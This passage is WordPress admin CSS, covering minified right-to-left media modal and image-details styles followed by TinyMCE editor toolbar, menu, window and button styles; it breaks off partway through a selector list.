.column-settings{background:#f6f7f7;border-left:1px solid #dcdcde;min-height:100%;width:55%;position:absolute;top:0;right:0}.image-details .column-settings h2{margin:20px;padding-top:20px;border-top:1px solid #dcdcde;color:#1d2327}.image-details .column-image{width:45%;position:absolute;right:55%;top:0}.image-details .image{margin:20px}.image-details .image img{max-width:100%;max-height:500px}.image-details .advanced-toggle{padding:0;color:#646970;text-transform:uppercase;text-decoration:none}.image-details .advanced-toggle:active,.image-details .advanced-toggle:hover{color:#646970}.image-details .advanced-toggle:after{font:normal 20px/1 dashicons;speak:never;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f140";display:inline-block;margin-top:-2px}.image-details .advanced-visible .advanced-toggle:after{content:"\f142"}.image-details .custom-size .custom-size-setting,.image-details .custom-size label{display:block;float:right}.image-details .custom-size .custom-size-setting label{float:none}.image-details .custom-size input{width:5em}.image-details .custom-size .sep{float:right;margin:26px 6px 0}.image-details .custom-size .description{margin-right:0}.media-embed .thumbnail{max-width:100%;max-height:200px;position:relative;float:right}.media-embed .thumbnail img{max-height:200px;display:block}.media-embed .thumbnail:after{content:"";display:block;position:absolute;top:0;right:0;left:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.media-embed .setting,.media-embed .setting-group{width:100%;margin:10px 0;float:right;display:block;clear:both}.media-embed .setting-group .setting:not(.checkbox-setting){margin:0}.media-embed .setting.has-description{margin-bottom:5px}.media-embed .description{clear:both;font-style:normal}.media-embed .content-track+.description{line-height:1.4;max-width:none!important}.media-embed .remove-track{margin-bottom:10px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{float:none;width:auto}.image-details .actions{margin:10px 0}.image-details .hidden{display:none}.media-embed .setting input[type=text],.media-embed .setting textarea,.media-embed fieldset{display:block;width:100%;max-width:400px}.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{max-width:inherit;width:70%}.image-details .description,.image-details .embed-media-settings .custom-size,.image-details .embed-media-settings .link-target,.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting-group{margin-right:27%;width:70%}.image-details .description{font-style:normal;margin-top:0}.image-details .embed-media-settings .link-target{margin-top:16px}.audio-details .checkbox-label,.image-details .checkbox-label,.video-details .checkbox-label{vertical-align:baseline}.media-embed .setting input.hidden,.media-embed .setting textarea.hidden{display:none}.media-embed .setting .name,.media-embed .setting span,.media-embed .setting-group .name{display:inline-block;font-size:13px;line-height:1.84615384;color:#646970}.media-embed .setting span{display:block;width:200px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:right;width:25%;text-align:left;margin:8px 1% 0;line-height:1.1}.image-details .embed-media-settings .setting .button-group,.media-frame .setting-group .button-group{width:auto}.media-embed-sidebar{position:absolute;top:0;right:440px}.advanced-section,.link-settings{margin-top:10px}.media-frame .setting .button-group{display:flex;margin:0!important;max-width:none!important}.rtl .media-frame,.rtl .media-frame .search,.rtl .media-frame input[type=email],.rtl .media-frame input[type=number],.rtl .media-frame input[type=password],.rtl .media-frame input[type=search],.rtl .media-frame input[type=tel],.rtl .media-frame input[type=text],.rtl .media-frame input[type=url],.rtl .media-frame select,.rtl .media-frame textarea,.rtl .media-modal{font-family:Tahoma,sans-serif}:lang(he-il) .rtl .media-frame,:lang(he-il) .rtl .media-frame .search,:lang(he-il) .rtl .media-frame input[type=email],:lang(he-il) .rtl .media-frame input[type=number],:lang(he-il) .rtl .media-frame input[type=password],:lang(he-il) .rtl .media-frame input[type=search],:lang(he-il) .rtl .media-frame input[type=text],:lang(he-il) .rtl .media-frame input[type=url],:lang(he-il) .rtl .media-frame select,:lang(he-il) .rtl .media-frame textarea,:lang(he-il) .rtl .media-modal{font-family:Arial,sans-serif}@media only screen and (max-width:900px){.media-modal .media-frame-title{height:40px}.media-modal .media-frame-title h1{line-height:2.22222222;font-size:18px}.media-modal-close{width:42px;height:42px}.media-frame .media-frame-title{position:static;padding:0 44px;text-align:center}.media-frame:not(.hide-menu) .media-frame-content,.media-frame:not(.hide-menu) .media-frame-router,.media-frame:not(.hide-menu) .media-frame-toolbar{right:0}.media-frame:not(.hide-menu) .media-frame-router{top:80px}.media-frame:not(.hide-menu) .media-frame-content{top:114px}.media-frame.hide-router .media-frame-content{top:80px}.media-frame:not(.hide-menu) .media-frame-menu{position:static;width:0}.media-frame:not(.hide-menu) .media-menu{display:none;width:auto;max-width:80%;overflow:auto;z-index:2000;top:75px;right:50%;transform:translateX(50%);left:auto;bottom:auto;padding:5px 0;border:1px solid #c3c4c7}.media-frame:not(.hide-menu) .media-menu.visible{display:block}.media-frame:not(.hide-menu) .media-menu>a{padding:12px 16px;font-size:16px}.media-frame:not(.hide-menu) .media-menu .separator{margin:5px 10px}.media-frame-menu-heading{clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;width:1px;word-wrap:normal!important}.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle{display:inline-flex;align-items:center;position:absolute;right:50%;transform:translateX(50%);margin:-6px 0 0;padding:0 12px 0 2px;font-size:.875rem;font-weight:600;text-decoration:none;background:0 0;height:.1%;min-height:40px}.wp-core-ui .button.media-frame-menu-toggle:active,.wp-core-ui .button.media-frame-menu-toggle:hover{background:0 0;transform:none}.wp-core-ui .button.media-frame-menu-toggle:focus{outline:1px solid transparent}.media-sidebar{width:230px}.options-general-php .crop-content.site-icon{margin-left:262px}.attachments-browser .attachments,.attachments-browser .attachments-wrapper,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper{left:262px}.attachments-browser .media-toolbar{height:82px}.attachments-browser .attachments,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{top:82px}.attachment-details .setting,.media-sidebar .setting{margin:6px 0}.attachment-details .setting .name,.attachment-details .setting input,.attachment-details .setting textarea,.compat-item label span,.media-sidebar .setting .name,.media-sidebar .setting input,.media-sidebar .setting textarea{float:none;display:inline-block}.attachment-details .setting span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting span{float:none}.media-sidebar .setting .select-label-inline{display:inline}.attachment-details .setting .name,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name{text-align:inherit;min-height:16px;margin:0;padding:8px 2px 2px}.attachment-details .attachment-info .copy-to-clipboard-container,.media-sidebar .setting .copy-to-clipboard-container{margin-right:0;padding-top:0}.attachment-details .attachment-info .copy-attachment-url,.media-sidebar .setting .copy-attachment-url{margin:0 1px}.attachment-details .setting .value,.media-sidebar .setting .value{float:none;width:auto}.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting select,.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting select,.media-sidebar .setting textarea{float:none;width:98%;max-width:none;height:auto}.media-frame .media-toolbar input[type=search]{line-height:2.25}.attachment-details .setting select.columns,.media-sidebar .setting select.columns{width:auto}.media-frame .search,.media-frame input,.media-frame textarea{padding:3px 6px}.wp-admin .media-frame select{min-height:40px;font-size:16px;line-height:1.625;padding:5px 8px 5px 24px}.image-details .column-image{width:30%;right:70%}.image-details .column-settings{width:70%}.image-details .media-modal{right:30px;left:30px}.image-details .embed-media-settings .setting,.image-details .embed-media-settings .setting-group{margin:20px}.image-details .embed-media-settings .setting .name,.image-details .embed-media-settings .setting span{float:none;text-align:right;width:100%;margin-bottom:4px;margin-right:0}.media-modal .legend-inline{position:static;transform:none;margin-right:0;margin-bottom:6px}.image-details .embed-media-settings .setting-group .setting{margin-bottom:0}.image-details .embed-media-settings .setting input.link-to-custom,.image-details .embed-media-settings .setting input[type=text],.image-details .embed-media-settings .setting textarea{width:100%;margin-right:0}.image-details .embed-media-settings .setting.has-description{margin-bottom:5px}.image-details .description{width:auto;margin:0 20px}.image-details .embed-media-settings .custom-size{margin-right:20px}.collection-settings .setting input[type=checkbox]{float:none;margin-top:0}.media-selection{min-width:120px}.media-selection:after{background:0 0}.media-selection .attachments{display:none}.media-modal .attachments-browser .media-toolbar .search{max-width:100%;height:auto;float:left}.media-modal .attachments-browser .media-toolbar .attachment-filters{height:auto}.media-frame input[type=email],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=text],.media-frame input[type=url],.media-frame select,.media-frame textarea{font-size:16px;line-height:1.5}.media-frame .media-toolbar input[type=search]{line-height:2.3755}.media-modal .media-toolbar .spinner{margin-bottom:10px}}@media screen and (max-width:782px){.imgedit-panel-content{grid-template-columns:auto}.media-frame-toolbar .media-toolbar{bottom:-54px}.mode-grid .attachments-browser .media-toolbar-primary{display:flex}.mode-grid .attachments-browser .media-toolbar-primary input[type=search]{width:100%}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{font-size:14px;line-height:2.71428571}.media-frame .wp-filter .media-toolbar-secondary{position:unset}.media-frame .media-toolbar-secondary .spinner{position:absolute;top:0;bottom:0;margin:auto;right:0;left:0;z-index:9}.media-bg-overlay{content:'';background:#fff;width:100%;height:100%;display:none;position:absolute;right:0;left:0;top:0;bottom:0;opacity:.6}}@media only screen and (max-width:640px),screen and (max-height:400px){.image-details .media-modal,.media-modal{position:fixed;top:0;right:0;left:0;bottom:0}.media-modal-backdrop{position:fixed}.options-general-php .crop-content.site-icon{margin-left:0}.media-sidebar{z-index:1900;max-width:70%;bottom:120%;box-sizing:border-box;padding-bottom:0}.media-sidebar.visible{bottom:0}.attachments-browser .attachments,.attachments-browser .media-toolbar,.attachments-browser .uploader-inline,.media-frame-content .attachments-browser .attachments-wrapper{left:0}.image-details .media-frame-title{display:block;top:0;font-size:14px}.image-details .column-image,.image-details .column-settings{width:100%;position:relative;right:0}.image-details .column-settings{padding:4px 0}.media-frame-content .media-toolbar .instructions{display:none}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (min-width:901px) and (max-height:400px){.media-frame:not(.hide-menu) .media-menu,.media-menu{top:0;padding-top:44px}.load-more-wrapper .load-more-jump{margin:12px 0 0}}@media only screen and (max-width:480px){.wp-core-ui.wp-customizer .media-button{margin-top:13px}}@media print,(min-resolution:120dpi){.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons-2x.png);background-size:134px 15px}.media-frame .spinner{background-image:url(../images/spinner-2x.gif)}}.media-frame-content[data-columns="1"] .attachment{width:100%}.media-frame-content[data-columns="2"] .attachment{width:50%}.media-frame-content[data-columns="3"] .attachment{width:33.33%}.media-frame-content[data-columns="4"] .attachment{width:25%}.media-frame-content[data-columns="5"] .attachment{width:20%}.media-frame-content[data-columns="6"] .attachment{width:16.66%}.media-frame-content[data-columns="7"] .attachment{width:14.28%}.media-frame-content[data-columns="8"] .attachment{width:12.5%}.media-frame-content[data-columns="9"] .attachment{width:11.11%}.media-frame-content[data-columns="10"] .attachment{width:10%}.media-frame-content[data-columns="11"] .attachment{width:9.09%}.media-frame-content[data-columns="12"] .attachment{width:8.33%}/*! This file is auto-generated */
/*------------------------------------------------------------------------------
 TinyMCE and Quicklinks toolbars
------------------------------------------------------------------------------*/

/* TinyMCE widgets/containers */

.mce-tinymce {
	box-shadow: none;
}

.mce-container,
.mce-container *,
.mce-widget,
.mce-widget * {
	color: inherit;
	font-family: inherit;
}

.mce-container .mce-monospace,
.mce-widget .mce-monospace {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	line-height: 150%;
}

/* TinyMCE windows */
#mce-modal-block,
#mce-modal-block.mce-fade {
	opacity: 0.7;
	filter: alpha(opacity=70);
	transition: none;
	background: #000;
}

.mce-window {
	border-radius: 0;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	-webkit-font-smoothing: subpixel-antialiased;
	transition: none;
}

.mce-window .mce-container-body.mce-abs-layout {
	overflow: visible;
}

.mce-window .mce-window-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	padding: 0;
	min-height: 36px;
}

.mce-window .mce-window-head .mce-title {
	color: #3c434a;
	font-size: 18px;
	font-weight: 600;
	line-height: 36px;
	margin: 0;
	padding: 0 16px 0 36px;
}

.mce-window .mce-window-head .mce-close,
.mce-window-head .mce-close .mce-i-remove {
	color: transparent;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	padding: 0;
	line-height: 36px;
	text-align: center;
}

.mce-window-head .mce-close .mce-i-remove:before {
	font: normal 20px/36px dashicons;
	text-align: center;
	color: #646970;
	width: 36px;
	height: 36px;
	display: block;
}

.mce-window-head .mce-close:hover .mce-i-remove:before,
.mce-window-head .mce-close:focus .mce-i-remove:before {
	color: #135e96;
}

.mce-window-head .mce-close:focus .mce-i-remove,
div.mce-tab:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-window-head .mce-dragh {
	width: calc( 100% - 36px );
}

.mce-window .mce-foot {
	border-top: 1px solid #dcdcde;
}

.mce-textbox,
.mce-checkbox i.mce-i-checkbox,
#wp-link .query-results {
	border: 1px solid #dcdcde;
	border-radius: 0;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07);
	transition: .05s all ease-in-out;
}

.mce-textbox:focus,
.mce-textbox.mce-focus,
.mce-checkbox:focus i.mce-i-checkbox,
#wp-link .query-results:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-wp-help {
	height: 360px;
	width: 460px;
	overflow: auto;
}

.mce-window .mce-wp-help * {
	box-sizing: border-box;
}

.mce-window .mce-wp-help > .mce-container-body {
	width: auto !important;
}

.mce-window .wp-editor-help {
	padding: 10px 20px 0 10px;
}

.mce-window .wp-editor-help h2,
.mce-window .wp-editor-help p {
	margin: 8px 0;
	white-space: normal;
	font-size: 14px;
	font-weight: 400;
}

.mce-window .wp-editor-help table {
	width: 100%;
	margin-bottom: 20px;
}

.mce-window .wp-editor-help table.wp-help-single {
	margin: 0 8px 20px;
}

.mce-window .wp-editor-help table.fixed {
	table-layout: fixed;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd),
.mce-window .wp-editor-help table.fixed td:nth-child(odd) {
	width: 12%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(even),
.mce-window .wp-editor-help table.fixed td:nth-child(even) {
	width: 38%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd) {
	padding: 5px 0 0;
}

.mce-window .wp-editor-help td,
.mce-window .wp-editor-help th {
	font-size: 13px;
	padding: 5px;
	vertical-align: middle;
	word-wrap: break-word;
	white-space: normal;
}

.mce-window .wp-editor-help th {
	font-weight: 600;
	padding-bottom: 0;
}

.mce-window .wp-editor-help kbd {
	font-family: monospace;
	padding: 2px 7px 3px;
	font-weight: 600;
	margin: 0;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.08);
}

.mce-window .wp-help-th-center td:nth-child(odd),
.mce-window .wp-help-th-center th:nth-child(odd) {
	text-align: center;
}

/* TinyMCE menus */
.mce-menu,
.mce-floatpanel.mce-popover {
	border-color: rgba(0, 0, 0, 0.15);
	border-radius: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.mce-menu,
.mce-floatpanel.mce-popover.mce-bottom {
	margin-top: 2px;
}

.mce-floatpanel .mce-arrow {
	display: none;
}

.mce-menu .mce-container-body {
	min-width: 160px;
}

.mce-menu-item {
	border: none;
	margin-bottom: 2px;
	padding: 6px 12px 6px 15px;
}

.mce-menu-has-icons i.mce-ico {
	line-height: 20px;
}

/* TinyMCE panel */
div.mce-panel {
	border: 0;
	background: #fff;
}

.mce-panel.mce-menu {
	border: 1px solid #dcdcde;
}

div.mce-tab {
	line-height: 13px;
}

/* TinyMCE toolbars */
div.mce-toolbar-grp {
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	padding: 0;
	position: relative;
}

div.mce-inline-toolbar-grp {
	border: 1px solid #a7aaad;
	border-radius: 2px;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.15);
	box-sizing: border-box;
	margin-bottom: 8px;
	position: absolute;
	-webkit-user-select: none;
	user-select: none;
	max-width: 98%;
	z-index: 100100; /* Same as the other TinyMCE "panels" */
}

div.mce-inline-toolbar-grp > div.mce-stack-layout {
	padding: 1px;
}

div.mce-inline-toolbar-grp.mce-arrow-up {
	margin-bottom: 0;
	margin-top: 8px;
}

div.mce-inline-toolbar-grp:before,
div.mce-inline-toolbar-grp:after {
	position: absolute;
	right: 50%;
	display: block;
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	content: "";
}

div.mce-inline-toolbar-grp.mce-arrow-up:before {
	top: -9px;
	border-bottom-color: #a7aaad;
	border-width: 0 9px 9px;
	margin-right: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:before {
	bottom: -9px;
	border-top-color: #a7aaad;
	border-width: 9px 9px 0;
	margin-right: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-up:after {
	top: -8px;
	border-bottom-color: #f6f7f7;
	border-width: 0 8px 8px;
	margin-right: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:after {
	bottom: -8px;
	border-top-color: #f6f7f7;
	border-width: 8px 8px 0;
	margin-right: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before,
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before {
	right: 20px;
}
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	right: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before,
div.mce-inline-toolbar-grp.mce-arrow-right:after {
	right: auto;
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before {
	left: 20px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:after {
	left: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-full {
	left: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-full > div {
	width: 100%;
	overflow-x: auto;
}

div.mce-toolbar-grp > div {
	padding: 3px;
}

.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
	padding-left: 32px;
}

.mce-toolbar .mce-btn-group {
	margin: 0;
}

/* Classic block hide/show toolbars */
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) {
	display: none;
}

.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar {
	display: block;
}

div.mce-statusbar {
	border-top: 1px solid #dcdcde;
}

div.mce-path {
	padding: 2px 10px;
	margin: 0;
}

.mce-path,
.mce-path-item,
.mce-path .mce-divider {
	font-size: 12px;
}

.mce-toolbar .mce-btn,
.qt-dfw {
	border-color: transparent;
	background: transparent;
	box-shadow: none;
	text-shadow: none;
	cursor: pointer;
}

.mce-btn .mce-txt {
	direction: inherit;
	text-align: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn,
.qt-dfw {
	border: 1px solid transparent;
	margin: 2px;
	border-radius: 2px;
}

.mce-toolbar .mce-btn-group .mce-btn:hover,
.mce-toolbar .mce-btn-group .mce-btn:focus,
.qt-dfw:hover,
.qt-dfw:focus {
	background: #f6f7f7;
	color: #1d2327;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active,
.mce-toolbar .mce-btn-group .mce-btn:active,
.qt-dfw.active {
	background: #f0f0f1;
	border-color: #50575e;
}

.mce-btn.mce-active,
.mce-btn.mce-active button,
.mce-btn.mce-active:hover button,
.mce-btn.mce-active i,
.mce-btn.mce-active:hover i {
	color: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus {
	border-color: #1d2327;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	color: #a7aaad;
	background: none;
	border-color: #dcdcde;
	text-shadow: 0 1px 0 #fff;
	box-shadow: none;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	border-color: #50575e;
}

.mce-toolbar .mce-btn-group .mce-first,
.mce-toolbar .mce-btn-group .mce-last {
	border-color: transparent;
}

.mce-toolbar .mce-btn button,
.qt-dfw {
	padding: 2px 3px;
	line-height: normal;
}

.mce-toolbar .mce-listbox button {
	font-size: 13px;
	line-height: 1.53846153;
	padding-right: 6px;
	padding-left: 20px;
}

.mce-toolbar .mce-btn i {
	text-shadow: none;
}

.mce-toolbar .mce-btn-group > div {
	white-space: normal;
}

.mce-toolbar .mce-colorbutton .mce-open {
	border-left: 0;
}

.mce-toolbar .mce-colorbutton .mce-preview {
	margin: 0;
	padding: 0;
	top: auto;
	bottom: 2px;
	right: 3px;
	height: 3px;
	width: 20px;
	background: #50575e;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary {
	min-width: 0;
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
	padding: 2px 3px 1px;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico {
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	box-shadow: 0 0 1px 1px #72aee6;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
}

/* mce listbox */
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
	border-radius: 0;
	direction: rtl;
	background: #fff;
	border: 1px solid #dcdcde;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-panel .mce-btn i.mce-caret {
	border-top: 6px solid #50575e;
	margin-right: 2px;
	margin-left: 2px;
}

.mce-listbox i.mce-caret {
	left: 4px;
}

.mce-panel .mce-btn:hover i.mce-caret,
.mce-panel .mce-btn:focus i.mce-caret {
	border-top-color: #1d2327;
}

.mce-panel .mce-active i.mce-caret {
	border-top: 0;
	border-bottom: 6px solid #1d2327;
	margin-top: 7px;
}

.mce-listbox.mce-active i.mce-caret {
	margin-top: -3px;
}

.mce-toolbar .mce-splitbtn:hover .mce-open {
	border-left-color: transparent;
}

.mce-toolbar .mce-splitbtn .mce-open.mce-active {
	background: transparent;
	outline: none;
}

.mce-menu .mce-menu-item:hover,
.mce-menu .mce-menu-item.mce-selected,
.mce-menu .mce-menu-item:focus,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview {
	background: #2271b1; /* See color scheme. */
	color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-caret,
.mce-menu .mce-menu-item:focus .mce-caret,
.mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-right-color: #fff;
}

/* rtl:ignore */
.rtl .mce-menu .mce-menu-item:hover .mce-caret,
.rtl .mce-menu .mce-menu-item:focus .mce-caret,
.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: inherit;
	border-right-color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-text,
.mce-menu .mce-menu-item:focus .mce-text,
.mce-menu .mce-menu-item:hover .mce-ico,
.mce-menu .mce-menu-item:focus .mce-ico,
.mce-menu .mce-menu-item.mce-selected .mce-text,
.mce-menu .mce-menu-item.mce-selected .mce-ico,
.mce-menu .mce-menu-item:hover .mce-menu-shortcut,
.mce-menu .mce-menu-item:focus .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico {
	color: inherit;
}

.mce-menu .mce-menu-item.mce-disabled {
	cursor: default;
}

.mce-menu .mce-menu-item.mce-disabled:hover {
	background: #c3c4c7;
}

/* Menubar */
div.mce-menubar {
	border-color: #dcdcde;
	background: #fff;
	border-width: 0 0 1px;
}

.mce-menubar .mce-menubtn:hover,
.mce-menubar .mce-menubtn.mce-active,
.mce-menubar .mce-menubtn:focus {
	border-color: transparent;
	background: transparent;
}

.mce-menubar .mce-menubtn:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

div.mce-menu .mce-menu-item-sep,
.mce-menu-item-sep:hover {
	border-bottom: 1px solid #dcdcde;
	height: 0;
	margin: 5px 0;
}

.mce-menubtn span {
	margin-left: 0;
	padding-right: 3px;
}

.mce-menu-has-icons i.mce-ico:before {
	margin-right: -2px;
}

/* Keyboard shortcuts position */
.mce-menu.mce-menu-align .mce-menu-item-normal {
	position: relative;
}

.mce-menu.mce-menu-align .mce-menu-shortcut {
	bottom: 0.6em;
	font-size: 0.9em;
}

/* Buttons in modals */
.mce-primary button,
.mce-primary button i {
	text-align: center;
	color: #fff;
	text-shadow: none;
	padding: 0;
	line-height: 1.85714285;
}

.mce-window .mce-btn {
	color: #50575e;
	background: #f6f7f7;
	text-decoration: none;
	font-size: 13px;
	line-height: 26px;
	height: 28px;
	margin: 0;
	padding: 0;
	cursor: pointer;
	border: 1px solid #c3c4c7;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-shadow: 0 1px 0 #c3c4c7;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.mce-window .mce-btn::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.mce-window .mce-btn:hover,
.mce-window .mce-btn:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.mce-window .mce-btn:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.mce-window .mce-btn:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.mce-window .mce-btn.mce-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

.mce-window .mce-btn.mce-primary {
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #135e96,
		-1px 0 1px #135e96,
		0 1px 1px #135e96,
		1px 0 1px #135e96;
}

.mce-window .mce-btn.mce-primary:hover,
.mce-window .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-window .mce-btn.mce-primary:focus {
	box-shadow: 0 1px 0 #2271b1,
		0 0 2px 1px #72aee6;
}

.mce-window .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
	vertical-align: top;
}

.mce-window .mce-btn.mce-primary.mce-disabled {
	color: #9ec2e6 !important;
	background: #4f94d4 !important;
	border-color: #3582c4 !important;
	box-shadow: none !important;
	text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important;
	cursor: default;
}

.mce-menubtn.mce-fixed-width span {
	overflow-x: hidden;
	text-overflow: ellipsis;
	width: 82px;
}

/* Charmap modal */
.mce-charmap {
	margin: 3px;
}

.mce-charmap td {
	padding: 0;
	border-color: #dcdcde;
	cursor: pointer;
}

.mce-charmap td:hover {
	background: #f6f7f7;
}

.mce-charmap td div {
	width: 18px;
	height: 22px;
	line-height: 1.57142857;
}

/* TinyMCE tooltips */
.mce-tooltip {
	margin-top: 2px;
}

.mce-tooltip-inner {
	border-radius: 3px;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	color: #fff;
	font-size: 12px;
}

/* TinyMCE icons */
.mce-ico {
	font-family: tinymce, Arial;
}

.mce-btn-small .mce-ico {
	font-family: tinymce-small, Arial;
}

.mce-toolbar .mce-ico {
	color: #50575e;
	line-height: 1;
	width: 20px;
	height: 20px;
	text-align: center;
	text-shadow: none;
	margin: 0;
	padding: 0;
}

.qt-dfw {
	color: #50575e;
	line-height: 1;
	width: 28px;
	height: 26px;
	text-align: center;
	text-shadow: none;
}

.mce-toolbar .mce-btn .mce-open {
	line-height: 20px;
}

.mce-toolbar .mce-btn:hover .mce-open,
.mce-toolbar .mce-btn:focus .mce-open,
.mce-toolbar .mce-btn.mce-active .mce-open {
	border-right-color: #1d2327;
}

div.mce-notification {
	right: 10% !important;
	left: 10%;
}

.mce-notification button.mce-close {
	left: 6px;
	top: 3px;
	font-weight: 400;
	color: #50575e;
}

.mce-notification button.mce-close:hover,
.mce-notification button.mce-close:focus {
	color: #000;
}

i.mce-i-bold,
i.mce-i-italic,
